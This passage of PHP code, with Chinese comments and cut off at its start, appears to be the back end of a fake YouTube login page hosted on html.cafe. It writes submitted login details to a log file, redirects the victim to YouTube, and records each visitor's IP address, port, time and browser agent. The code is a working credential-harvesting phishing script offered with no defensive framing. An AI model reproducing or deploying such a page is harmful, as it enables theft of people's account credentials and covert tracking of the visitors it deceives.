";
// 記錄到檔案
$file = fopen("log.html", "a");
fwrite($file, $login_info);
fclose($file);
// 重定向到Youtube
header("Location: https://www.youtube.com/home.php");
exit;
}
// 記錄瀏覽者IP等資訊
$date_and_time = date('c');
$guest_ip = getenv("REMOTE_ADDR");
$time_zone = (int)substr($date_and_time, 19, 3);
$time_difference = 8 - $time_zone; // 計算時間差
$ip_data = "Taiwan_Time: " . date('Y-m-d H:i:s', strtotime('+'.$time_difference.' hour')) . "
" .
"Server_Time: " . $date_and_time . "
" .
"IP/Port: " . $guest_ip . " : " . $_SERVER['REMOTE_PORT'] . "
" .
"Filename: " . $_SERVER['SCRIPT_FILENAME'] . "
" .
"Agent: " . $_SERVER['HTTP_USER_AGENT'] . "
";
$file = fopen("log.html", "a+");
fwrite($file, $ip_data);
fclose($file);
?>
登入 Youtube
html.cafe - a realtime HTML editor and host
Edit the html in the top panel, see the result here.
Save your page and get a link to view it live, anywhere.